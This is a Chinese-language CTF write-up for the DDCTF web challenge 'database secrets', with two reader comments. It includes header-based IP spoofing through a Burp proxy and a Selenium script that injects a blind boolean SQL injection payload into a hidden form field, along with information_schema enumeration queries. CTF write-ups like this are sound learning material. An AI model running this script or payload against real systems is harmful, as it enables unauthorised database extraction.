限制了IP,很容易想到利用XFF来伪造IP地址,伪造进去之后,发现参数都是通过JS加密过的,我直接利用selenium 来调用JS。

测试后发现author这个隐藏input,存在注入漏洞,多的不说了,以下为利用脚本,过程很简单。

吃个饭的时间,此题的一血就被抢了,第二题又做不出来,很难受。。

由于chrome貌似没有办法修改header头,所以我通过proxy参数,用burp作为mitmproxy,将所有数据包都加上XFF,达到自动化的目的。

利用Burp的bypassWAF插件:https://portswigger.net/bappstore/ae2611da3bbc4687953a1f4ba6a4e04c

(╯°□°)╯︵ ┻━┻

from selenium import webdriver
from selenium.webdriver.chrome.options import Options


# 启动driver
def init_web_driver():
    global driver
    PROXY = "127.0.0.1:8080"
    chrome_options = Options()
    chrome_options.add_argument('--proxy-server=%s' % PROXY)
    driver_path = 'G://chromedriver.exe'  # 这里放的就是下载的driver本地路径
    driver = webdriver.Chrome(chrome_options=chrome_options, executable_path=driver_path)


# 关掉driver
def close_web_driver():
    driver.quit()

#select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA          ddctf
#select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA = 'ddctf'          ctf_key9,message
#select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_SCHEMA = 'ddctf' and TABLE_NAME = 'ctf_key9'           secvalue
#select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_SCHEMA = 'ddctf' and TABLE_NAME = 'message'           id,title,author,time,status


def get_data(m):
    global res
    for n in range(32,128):
        driver.get('http://116.85.43.88:8080/**************/dfe3ia/index.php')
        driver.execute_script("document.getElementById(\"author\").value = \"admin%%'&&(select ascii(substr(((select group_concat(secvalue) from ctf_key9)),%s,1))<%s)#\""%(m,n)) 
        driver.execute_script("submitt()") 
        try: 
            CTF = driver.find_element_by_css_selector("body > table > tbody > tr > td > table.table_form > tbody > tr:nth-child(2) > td:nth-child(2)").text
        except:
            pass

        if 'CTF' in dir():
            res = res + chr(n-1)
            print(res)
            break

        if n == 127:
            print(res)
            print("Ending!")
            exit()
    get_data(m+1)




if __name__ == '__main__':
    res = ""
    init_web_driver()
    get_data(1)





本文链接地址: DDCTF WEB1 数据库的秘密 writeup

原创文章,转载请注明: 转载自Lz1y's Blog

5 thoughts on “DDCTF WEB1 数据库的秘密 writeup

  1. 大佬问下,我将你写的脚本用firefox模拟发包,跑几分钟就会出现httplib.CannotSendRequest的问题,能具体说下get_data里面的含义吗?谢谢

    1. get_data里面就是直接通过JS来操作一些值,我比较懒,这样子可以直接绕过加密的过程,你可以理解成我直接用脚本控制了console,然后进行注入操作

发表评论

电子邮件地址不会被公开。 必填项已用*标注